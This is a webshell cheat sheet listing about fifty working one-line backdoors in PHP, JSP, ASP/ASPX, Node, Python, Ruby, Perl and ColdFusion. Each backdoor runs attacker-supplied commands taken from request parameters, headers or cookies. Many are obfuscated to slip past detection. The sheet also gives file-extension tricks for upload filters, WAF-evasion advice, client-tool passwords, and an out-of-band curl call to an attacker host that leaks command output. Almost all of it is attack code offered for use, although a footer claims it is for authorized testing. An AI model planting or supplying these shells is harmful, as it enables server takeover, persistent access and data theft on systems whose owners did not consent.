PHP ×25JSP ×10ASPX/ASP ×8Other ×7
Usage: append ?cmd=whoami or ?c=whoami in a test environment. For header/cookie types, see notes.
<?php system($_GET['cmd']); ?>
<?php eval($_REQUEST['c']); ?>
<?php assert($_REQUEST['c']); ?>
<?php preg_replace('/.*/e', $_REQUEST['c'], ''); ?>
<?php $f = create_function('', $_REQUEST['c']); $f(); ?>
<?php call_user_func('system', $_GET['c']); ?>
<?php array_map('system', [$_GET['c']]); ?>
<?php usort([$_GET['c']], 'system'); ?>
<?php ob_start('system'); echo $_GET['c']; ob_end_flush(); ?>
<?=`$_GET[0]`?>
<?php echo shell_exec($_GET['c']); ?>
<?php passthru($_GET['c']); ?>
<?php $p=proc_open($_GET['c'],[1=>['pipe','w']],$pipes); echo stream_get_contents($pipes[1]); ?>
<?php $h=popen($_GET['c'],'r'); echo fread($h,4096); ?>
<?php pcntl_exec('/bin/sh',['-c',$_GET['c']]); ?>
<?php $a='sys'.'tem'; $a($_GET['c']); ?>
<?php eval(base64_decode($_REQUEST['c'])); ?>
<?php $_=chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d); $_($_GET['c']); ?>
<?php $f='system'; $$f = $f; $$f($_GET['c']); ?>
<?php file_put_contents('s.php','<?php system($_GET["c"]);?>'); include('s.php'); ?>
<?php session_start(); $_SESSION['c']=$_GET['c']; eval($_SESSION['c']); ?>
<?php system($_SERVER['HTTP_X_CMD']); ?>
<?php system($_COOKIE['c']); ?>
GIF89a <?php system($_GET['c']); ?>
<?php @$_='s'.chr(121).'stem'; @$_($_REQUEST['c']) or print(shell_exec($_REQUEST['c'])); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<%
String c = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});
java.io.BufferedReader r = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null) out.println(l);
%>
<% Process p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}); %>
<% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("cmd")); %>
<% javax.tools.ToolProvider.getSystemJavaCompiler().run(null,null,null,"-d","/tmp","/tmp/S.java"); %>
${Runtime.getRuntime().exec(param.cmd)}
(no code — chain: upload endpoint writes .jsp containing shell #26)
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("cmd"));</jsp:scriptlet>
</jsp:root>
#{Runtime.getRuntime().exec(request.getParameter("cmd"))}
<%@ tag trimDirectiveWhitespaces="true" %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>
<%@ Page Language="C#" %><%
var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false});
Response.Write(p.StandardOutput.ReadToEnd()); %>
<%@ Page Language="Jscript"%><% eval(Request.Item["c"],"unsafe"); %>
<% eval request("c") %>
<% Set s=CreateObject("WSCRIPT.SHELL"):s.Run("cmd.exe /c "&request("c")) %>
<%@ Page Language="C#" %><% typeof(System.Diagnostics.Process).GetMethod("Start",new[]{typeof(string),typeof(string)}).Invoke(null,new[]{"cmd.exe","/c "+Request["c"]}); %>
<%@ Page Language="C#" %><% byte[] b=Convert.FromBase64String(Request["c"]); System.Text.Encoding.ASCII.GetString(b); %>
<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){RedirectStandardOutput=true}}.StandardOutput.ReadToEnd());%>
require('child_process').exec(req.query.cmd, (e,o)=>res.send(o));
@app.route('/sh')
def sh(): return __import__('subprocess').getoutput(request.args['cmd'])
import pickle, base64
pickle.loads(base64.b64decode(request.args['p']))
# payload: python -c "import pickle,base64;print(base64.b64encode(pickle.dumps(__import__('os').system('whoami'))))"
<%= `#{params[:c]}` %>
#!/usr/bin/perl
use CGI; my $q=CGI->new; print $q->header; print `$q->param('cmd')` // system($q->param('cmd'));
<cfexecute name="cmd.exe" arguments="/c #url.cmd#" outputvariable="o"><cfoutput>#o#</cfoutput></cfexecute>
<?php @eval($_POST['x']); ?> // PHP
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%> // ASPX
<%eval request("x")%> // ASP
# Connect with AntSword/Behinder — password field = "x"
[Detection evasion] string split, dynamic call, base64/XOR, header/cookie channels [Disguise ext] .php5 .phtml .phar .gif(+.htaccess) .ashx [Verification] OOB: curl http://YOUR_IP/$(whoami) | blind: sleep 5 [WAF targets] use #16/#18 style obfuscation instead of plain 'system'
Generated for authorized security testing — Webshell Reference Sheet (50 types).